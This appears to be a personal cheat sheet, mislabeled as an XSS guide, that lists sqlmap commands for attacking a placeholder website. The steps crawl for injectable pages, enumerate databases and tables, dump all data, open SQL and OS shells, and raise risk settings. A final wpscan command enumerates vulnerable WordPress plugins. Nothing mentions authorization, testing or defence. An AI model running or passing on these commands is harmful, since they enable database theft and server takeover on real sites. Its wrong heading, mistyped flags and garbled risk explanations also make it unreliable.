XSS (Cross Site Scripting)

XSS using SqlMap

To find vulnerable Page

#sqlmap -u http://www.anysite.com --crawl 3 --batch
// crawl command is used to define the depth default depth is 2
// batch command is used to answer all the question it sets the deafult answer

To Get the Database of the vulnearble site

#sqlmap -u http://www.anysite.com/id=? -dbs --batch
// dbs is used to list the databses

To Get the tables from the databases

#sqlmap -u http://www.anysite.com/id=? -D DBName --tables --batch
// D is used to select the databsaes
// tables is to list the tables

To Get data from the tables

#sqlmap -u http://www.anysite.com/id=? -D DBName -T TableName --dump --batch
//T is used to set the tables
//dump is to dump all the data from the tables. dump can be used to dump all the databases to.

To get the sql shell / os shell

#sqlmap -u http://www.anysite.com/id=? --sql-shell --batch
// --sql-query = to send single query
// --sql-file = to send sql file
#sqlmap -u http://www.anysite.com/id=? --os-shell --batch

To Speed up the process for large websites

--threads 1-10

//default value is 1 Maximum value is 10

To Attack aggresively

--risk 1-3

//default value is 1 isn't hramful it uses basic payloads.
// value 2 is able manupulate database it uses time based sql injections.
// value 3 uses both 1 and 2 simultaneously.

WP Scan

wpscan --api-token 12455745 --url https://wwedwd.com --plugins-detection aggressive --enumerate vp
plugin detection passive,aggressive,mixed
vp =vulnerable plugin